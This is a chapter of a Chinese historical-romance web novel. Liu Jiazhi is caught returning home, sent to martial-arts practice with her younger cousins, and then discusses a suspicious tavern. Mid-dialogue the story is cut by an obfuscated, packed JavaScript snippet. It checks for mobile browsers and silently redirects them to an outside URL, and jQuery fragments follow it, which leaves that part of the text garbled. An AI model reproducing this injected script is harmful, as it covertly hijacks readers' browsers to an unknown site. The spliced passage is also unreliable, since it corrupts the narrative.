小姑娘拍手道：“好啊！我都没听过这种，你们要是开了店，肯定好多人来！”


    可刚说完，她又皱起眉头，小声补充道：“就是……你们可得找个安全点的地方，不然总会有不讲道理的人闹事，就没有人敢去了。”


    柳嘉之听得认真，听完还郑重点点头：“谢谢你，小妹妹，你说的这些，我都记着了！到时候真要是开了，我便来邀请你去玩。”


    *


    她说完转过身，刚要跟晏井承说话，就见晏井承站在原地，满眼含笑地看着她。


    柳嘉之愣了愣：“傻笑什么？我刚才跟小姑娘说的话，你都记住了没？回头咱们店的安全问题，得……”


    “记住了。”晏井承没等她说完，就笑着应了声，“都记住了，柳东家要跟官人开小店，小店要特别注意有人来闹事。”


    柳嘉之这才反应过来，刚才跟小姑娘说的那句信口胡说，竟被他听了去。


    她脸颊微微发烫，没好气地瞪了他一眼：“谁跟你是官人！我那是随口说的！”


    晏井承也不反驳，只笑着往前递了递手：“是是，随口说的。那柳东家，咱们接着逛？还是……”


    “回家！”


    一旁的喻赤早被这俩人的互动弄得浑身不自在，抱着胳膊往旁边挪了挪，闷声道：


    “要回家就快点，别在这儿堵着路。”


    柳嘉之哼了一声，抱着蜀葵就往前走，耳尖还是悄悄红了。


    *


    待到了家，日头已西斜。


    柳嘉之抱着蜀葵，正琢磨着跟晏井承回他院子，把闲居楼和那胡商的事捋一捋。


    身后忽然传来熟悉的声音：“小之。”


    柳嘉之身子一僵，心里暗叫不好。她猛地把手里的紫蜀葵往身后藏，转头时脸上已堆起笑：“三哥哥！你怎么在这儿？”


    范纯仁缓步走近，目光扫过她微乱的面纱，又往她身后瞥了眼，眉头微挑：“你身上……怎么有酒气？”


    柳嘉之大惊，方才就喝了一小口酒酿，还隔了大半个下午，这都能闻出来？


    她连忙摆手，还不忘把锅甩给旁边的喻赤：“没有没有！三哥哥你兴许是闻错了，是他喝的，他在酒楼里闷头喝了一坛。”


    喻赤正闷头走着，冷不丁被点名，抬头时脸上还带着点没散的酒意，刚想开口，就被柳嘉之狠狠瞪了一眼，只好把话咽了回去，默默点头认了。


    *


    范纯仁眯了眯眼，没戳破，只淡淡道：“母亲让你去前厅陪膳。”


    柳嘉之连忙上前请求道：“不了三哥，我在酒楼里吃了不少，实在吃不下了。我想回院子歇会儿，你帮我给伯娘说一声可好？。”


    “也好。”范纯仁倒没强求，可话锋一转，又补了句，“不过你别想着歇，待会我让纯礼和纯粹去你院子找你。”


    柳嘉之愣了：“找我？干什么？”


    “练功。”范纯仁说得理所当然，“你今早一早就跑出去，晨功都没练。他们俩说你总偷懒，正好今晚补上。”


    柳嘉之瞬间哭笑不得，差点跳起来：“三哥哥！练功哪有大晚上练的？再说纯礼和纯粹忙了一天，也该歇着了！”


    “是你先偷懒的。”范纯仁挑眉，“我待会亲自带他们过去，你在院子里等着。”说完也不等她反驳，转身就往前厅走，背影挺得笔直，没给她半点讨价还价的余地。


    *


    柳嘉之气得攥紧了拳头对着范纯仁的背影，虚空挥舞了两拳。


    晏井承站在旁边，把她这副气鼓鼓的样子尽收眼底，忍不住笑出声，伸手轻轻握住她的拳头：


    “好了，别气了。他不让你去我那儿，我去你那儿便是。等你练完功，咱们再商议酒楼的事。”


    柳嘉之这才消了点气，用力点头：“对！就这么办！”


    一旁的喻赤瞅了一眼二人紧握的双手，刚转身想自己回院子，就被柳嘉之喊住：“阿赤！你和我们一块去。”


    喻赤脚步一顿，回头别扭道：“去你那干什么？我又不练功。”


    “当然是为着闲居楼的事啊！”柳嘉之凑过去，“省得我再跑一趟。”


    喻赤看了眼晏井承，又看了眼柳嘉之手里的蜀葵，最终还是闷声道：“知道了……”


    *


    半个时辰刚过，范纯仁果然带着他们来了。


    柳嘉之见他们进来，立马站直身子。范纯仁的目光扫过廊下的晏井承和喻赤，眉头轻皱了下，这俩人竟然没走。


    但他没多话，只道：“开始吧，先练扎马。”又朝柳嘉之递了个眼色，“你给他们做个示范。”


    柳嘉之撇撇嘴，乖乖向前扎下马步。


    可刚扎下没多久，她就见范纯仁找了个由头，往晏井承身边凑了凑，两人头挨得近，低声说着什么，晏井承时不时点头，嘴唇不时动动。


    她心里又好奇又有点担忧，身子忍不住往前倾，想听清他们说了些什么。


    “五姐姐！你歪了。”范纯礼的声音突然传来，“扎马要腰挺直，别晃！”


    柳嘉之猛地回神，刚想把腰板绷直，脚下一个没踩稳往前栽了去。


    *


    晏井承和喻赤同时慌张向前冲去，范纯仁也往前跨了两步，可谁都没料到，一旁的范纯粹动作比谁都快。


    他身子一窜，轻轻一伸手就稳稳托住了柳嘉之的胳膊，还使劲往上扶了一把：“五姐姐，小心！”


    柳嘉之站稳身子，低头看着才到自己腰际的范纯粹，轻呼：“纯粹，你这反应也太快了！”


    不光是她，连晏井承和喻赤都愣了。这孩子分明才八岁，刚才那一下又快又稳，底子比柳嘉之还扎实数倍不止。


    范纯仁也有些意外，随即掩去脸上的惊讶，蹲下身揉了揉范纯粹的头：


    “方才那下，倒是机灵。你要是真喜欢练功，肯吃这份苦，三哥找名师来教你，怎么样？”


    范纯粹猛地抬眼，脑袋点得像拨浪鼓：“我肯吃！”


    一旁的范纯礼站在原地，见弟弟得了特批，嘴角有点耷拉，可没等他说话，范纯仁就转头看向他：“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416839|177258||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你要是也想练，也能一起。”


    范纯礼连忙摆手：“不了三哥，我还是更喜欢念书。”柳嘉之练他，他都有些吃不消，再来个名师怕是更费劲了。


    这话一出，院子里的人都笑了。柳嘉之笑得最欢，伸手拍了拍范纯礼的肩：“不愧是你，二师弟。”


    范纯礼被柳嘉之拍得肩膀一沉，趁人不注意，悄悄伸手在她胳膊上戳了下。


    *


    范纯仁也忍不住勾了勾嘴角，站起身道：


    “行了，知道你们心思不在练功上。今天就到这儿，纯粹明早卯时，跟我去武场。”说完又看了眼晏井承，“你们议事吧，我带他们先走。”


    范纯粹一听要走，脸立马垮了，拽着范纯仁的袖子晃了晃：“三哥哥，我想再待会儿……”


    一旁的范纯礼也跟着点头：“是啊三哥，我也想留下，正好帮五姐姐他们……”


    话没说完，就被范纯仁一眼扫过去：“帮什么？你功课做完了？”他转头看向还在扯着自己袖子的范纯粹，又道，“你年纪小，夜了该歇息，明日还要早起练功。”


    范纯礼眼珠一转，凑过去拉过范纯粹，压低声音哄：“听话，你先跟三哥回去，明天我陪你去武场，顺便看看名师怎么教你，好不好？”


    范纯粹一听立马松了手，乖乖点头：“好！那六哥哥你说话算话！”


    范纯仁见状，也没再多说，只朝晏井承点了点头，便带着范纯粹往外走。


    范纯礼跟在后面，走两步就回头冲柳嘉之使个眼色，待跨出院门，干脆趁机停了脚：


    “三哥，我突然想起学究让我把今日的功课抄十遍，我回屋抄完再歇息，就不跟你们走了！”说完不等范纯仁回应，撒腿就跑。


    范纯仁看着他的背影，无奈地摇了摇头，带着范纯粹走了。


    *


    屋里，范纯礼刚掀帘进来，就见柳嘉之正拽着晏井承的胳膊追问：“快说快说！方才三哥哥跟你到底说什么了？”


    晏井承笑道：“就问了问铺面的事，让我多照看着你。”


    “真的？”柳嘉之还是不放心，“我还以为他要找你麻烦呢！”


    “比真金还真。”晏井承揉了揉她的头发，转头看向一旁坐得笔直的范纯礼，“纯礼留下，是有话要问？”


    范纯礼立马凑过来，拉了把椅子坐下：“五姐姐，你们今天在街上遇到什么有趣的事了？”


    柳嘉之见他好奇，也没隐瞒，把闲居楼胡商闯雅间、喻赤飞筷制人、掌柜殷勤试探的事说了一遍，末了还补充：“卖花的小姑娘说街上总有人闹事，我猜跟那酒楼脱不了干系。”


    “那个酒楼肯定有大问题！”范纯礼一拍桌子。


    柳嘉之眼睛一亮，伸手拍了拍他的肩：“可以啊纯礼！颇有宰相之才！”


    一旁的喻赤正端着茶喝，闻言放下茶杯，冷笑一声：“这不是明眼人都看得出来？”


    范纯礼不服道：“我还看出了明眼人没看出来的！”


    “何事？”喻赤、柳嘉之齐声问道。